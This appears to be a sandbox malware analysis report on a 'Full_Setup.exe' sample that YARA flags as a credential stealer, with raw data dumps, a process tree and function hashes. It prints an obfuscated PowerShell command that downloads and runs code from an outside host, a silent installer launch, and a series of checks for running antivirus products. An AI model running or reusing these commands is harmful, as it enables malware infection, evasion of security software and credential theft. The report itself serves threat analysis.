00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 Data Ascii: @Jr@MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(J
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: b8 12 40 00 01 00 01 01 02 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 Data Ascii: @[@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 6c 66 02 00 02 9c 10 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e Data Ascii: lf@AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMon
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 Data Ascii: terConstruction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$A
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 00 08 00 00 00 02 08 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 Data Ascii: VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUS
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 40 00 08 00 00 00 24 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 Data Ascii: @$@~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@C
2024-12-27 19:17:46 UTC	1369	IN	Data Raw: 63 02 00 01 04 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a Data Ascii: cL@Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(J

Target ID:	0
Start time:	14:17:00
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Full_Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Full_Setup.exe"
Imagebase:	0x400000
File size:	73'399'914 bytes
MD5 hash:	5517E8F1BD85F7FE822B8549C9976E2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1935004521.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1934530568.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1983532100.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1912027942.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1983684456.000000000075C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:17:42
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo
Imagebase:	0x200000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:17:42
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:18:05
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe"
Imagebase:	0xa0000
File size:	12'191'445 bytes
MD5 hash:	34B63F16F994365A2FC9263E87CD28E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 16%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:18:07
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$30472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe"
Imagebase:	0xd10000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:18:07
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT
Imagebase:	0xa0000
File size:	12'191'445 bytes
MD5 hash:	34B63F16F994365A2FC9263E87CD28E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:18:08
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$40472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT
Imagebase:	0xd40000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	14:18:41
Start date:	27/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff6248b0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:18:41
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff6632c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff79a990000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff645560000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff6632c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff79a990000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff645560000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff6632c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff79a990000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:18:50
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff645560000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:18:51
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff6632c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:18:51
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:18:51
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff79a990000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:18:51
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff645560000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:18:51
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff6632c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:18:51
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:18:52
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff79a990000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	14:18:52
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff71e800000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	14:18:52
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff6632c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	14:18:52
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	14:18:52
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff79a990000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	14:18:52
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff645560000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	14:18:57
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Imagebase:	0x6d0000
File size:	1'063'239'551 bytes
MD5 hash:	C12ED31F29EF510393AE36661F44F102
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Function 071B1798 Relevance: 14.6, Strings: 11, Instructions: 824COMMON

Download Yara Rule

Strings

4'tq, xrefs: 071B1DA6
4'tq, xrefs: 071B1999
4'tq, xrefs: 071B19A5
tPtq, xrefs: 071B1815
$tq, xrefs: 071B17DC
4'tq, xrefs: 071B1F0A
4'tq, xrefs: 071B1F00
4'tq, xrefs: 071B1DB0
$tq, xrefs: 071B17AA
$tq, xrefs: 071B17D0
tPtq, xrefs: 071B1821

Memory Dump Source

Source File: 00000004.00000002.2116639388.00000000071B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_71b0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$tPtq$tPtq$$tq$$tq$$tq
API String ID: 0-2659758652
Opcode ID: 92ac4f2e2a9948e6fb5e08b4e3c8d1bbfd8f92b0671ac52b42983aae59d8fb05
Instruction ID: 9523e21435e2b35bc776393129c6a984fabf2718c0606511e9308d6506f92e8b
Opcode Fuzzy Hash: 92ac4f2e2a9948e6fb5e08b4e3c8d1bbfd8f92b0671ac52b42983aae59d8fb05
Instruction Fuzzy Hash: 16425BB171424DAFCB368B7988216EBBBB2AFC2310F15806AD945DF2D1DB31C951C7A1

Function 02AB5191 Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa70a4199a682b9fe4aaaaa54dc28dc6fbc109b8c8713f46ee3f6a779010f60f
Instruction ID: b75dfdae7467252b5128029f3c36bd43c9e6a7661e027f2e36322e7cb6252913
Opcode Fuzzy Hash: fa70a4199a682b9fe4aaaaa54dc28dc6fbc109b8c8713f46ee3f6a779010f60f
Instruction Fuzzy Hash: 7C323D74E012099FCB15CFA9D494AADFBB6FF88314F648559E815AB352CB31EC81CB90

Function 02AB6000 Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aef10ec92b37fb6196cf5656d2db773cdfc3f058a667ea722e4cce7f3bc8b079
Instruction ID: 3629c8db0c905c233e78ae733b0b69c5d9c833cf9c4663d99f6038fe2ef9e0be
Opcode Fuzzy Hash: aef10ec92b37fb6196cf5656d2db773cdfc3f058a667ea722e4cce7f3bc8b079
Instruction Fuzzy Hash: 03022974A002099FDB15CF99D484AEEFBBAFF48714F248159E805AB356CB31ED85CB90

Function 02AB4900 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2112357496.0000000002AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ab0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c740ade6ea903b5bef2a9e1364be4591ea8f95e2a1aaef84d885c6f7584bb781
Instruction ID: 3c4ac173c100e97535b45f08368ac9fb5d5d65bcc691cd877a9496e2eafba54c
Opcode Fuzzy Hash: c740ade6ea903b5bef2a9e1364be4591ea8f95e2a1aaef84d885c6f7584bb781
